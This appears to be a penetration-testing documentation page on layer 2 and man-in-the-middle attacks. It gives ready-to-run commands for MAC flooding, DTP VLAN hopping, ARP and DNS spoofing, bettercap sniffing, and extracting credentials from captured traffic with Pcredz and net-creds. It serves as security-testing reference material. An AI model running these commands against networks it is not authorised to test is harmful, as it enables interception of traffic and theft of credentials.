> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Network Layer Attacks

Everything here works below any specific service, exploiting how switches, DHCP, and ARP behave by default rather than a misconfigured application. Most of it needs to be on the same broadcast segment as the target, physically plugged in, on the same Wi-Fi, or already pivoted onto the internal network.

> **Layer 2 (Switching)**
>
> Abusing switch behavior itself, CAM tables, VLAN trunking, STP, DHCP, to turn a segmented network into one big collision domain or redirect traffic through you.

> **Man-in-the-Middle**
>
> Once traffic actually flows through you (via the above, or just being on a flat/wireless segment), intercepting, spoofing, and capturing it.

***

### MAC Flooding

Switches learn which MAC address lives on which port by watching traffic, storing the mapping in a Content Addressable Memory (CAM) table of a specific size. Flooding it with nonsense source MAC adresses faster than it can handle old entries forces the switch to fail open, broadcasting every frame out every port like a hub, since it no longer knows where anything actually is.

```bash theme={null}
sudo macof -i eth0
```

> [!TIP]
>
> Once the CAM table is full, plain passive sniffing (`tcpdump`, Wireshark) on the same segment sees traffic that normally would never have reached that port at all, no ARP spoofing needed.

***

### VLAN Hopping

**Switch Spoofing (DTP)**

If a switch port has Dynamic Trunking Protocol (DTP) enabled and set to auto-negotiate, sending DTP frames that claim to be a switch convinces the real switch to turn that port into a trunk, which carries traffic for *every* VLAN instead of just one.

```bash theme={null}
sudo yersinia dtp -i eth0 -attack 1
```

***

## Man-in-the-Middle

### ARP Spoofing

ARP has no authentication at all, a host simply believes whatever reply it receives. Answering on behalf of the real gateway (and separately, on behalf of the real victim) convinces both sides to route through the attacker instead of each other.

```bash theme={null}
echo 1 > /proc/sys/net/ipv4/ip_forward     # forward traffic through this host rather than just black-holing it
```

```bash theme={null}
sudo arpspoof -i eth1 -t <target> <gateway>    # tell the target: "I'm the gateway"
sudo arpspoof -i eth1 -t <gateway> <target>    # tell the gateway: "I'm the target" (run in parallel, both directions needed)
```

### DNS Spoofing

Once traffic is already flowing through the attacker (via ARP spoofing above), `dnsspoof` answers DNS queries matching a filter file with attacker-controlled IPs instead of letting them reach the real DNS server.

```bash theme={null}
echo "<attacker-ip> *.<target-domain>" > dns
sudo dnsspoof -i eth1 -f dns
```

### Bettercap (All-in-One)

[Bettercap](https://www.bettercap.org/) wraps ARP spoofing, DNS spoofing, and sniffing into one tool with a scriptable console.

```bash theme={null}
sudo bettercap -iface eth0
```

```text theme={null}
net.probe on
set arp.spoof.targets <target-ip>
arp.spoof on
net.sniff on
```

### Man in the Middle IPV6

> [!TIP]
>
> [mitm6](https://github.com/dirkjanm/mitm6) (already covered on [LLMNR/NBT-NS/mDNS Poisoning](https://0-x.dev/ad/llmnr-nbns-poisoning.md)) achieves a similar MITM position over IPv6 DHCPv6 specifically, worth preferring in an AD environment since it also chains directly into NTLM relay.

***

## Capturing & Extracting Credentials from Traffic

### Live Capture

You can capture Network traffic live with Wireshark over the GUI or in the console

```bash theme={null}
# capture everything to a file for later analysis
sudo tcpdump -i eth0 -w capture.pcap
sudo tshark -i eth0 -w capture.pcap
```

### Automated Credential Extraction

Purpose-built tools that parse a pcap (or sniff live) and pull out credentials directly, rather than filtering manually protocol by protocol. [Pcredz](https://github.com/lgandx/PCredz), [net-creds](https://github.com/DanMcInerney/net-creds)

```bash theme={null}
sudo python3 Pcredz -i eth0                  # live capture
sudo python3 Pcredz -f capture.pcap           # against a saved pcap
```

```bash theme={null}
sudo python3 net-creds.py -i eth0           # live capture
sudo python3 net-creds.py -p capture.pcap    # against a saved pcap
```

***

## Quick Reference Tools

> **[Yersinia](https://github.com/tomac/yersinia)**
>
> Swiss-army knife for layer 2 protocol attacks: DTP, DHCP, STP, and more beyond what's covered here.

> **[Bettercap](https://www.bettercap.org/)**
>
> All-in-one MITM framework, see above.

> **[net-creds](https://github.com/DanMcInerney/net-creds)**
>
> Extracts credentials and other sensitive data from a pcap or live interface.

> **[PCredz](https://github.com/lgandx/PCredz)**
>
> Similar extraction tool, also carves NTLM/Kerberos hashes specifically.

> **[LLMNR/NBT-NS/mDNS Poisoning](https://0-x.dev/ad/llmnr-nbns-poisoning.md)**
>
> The AD-specific sibling MITM technique (Responder/mitm6), not repeated here.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.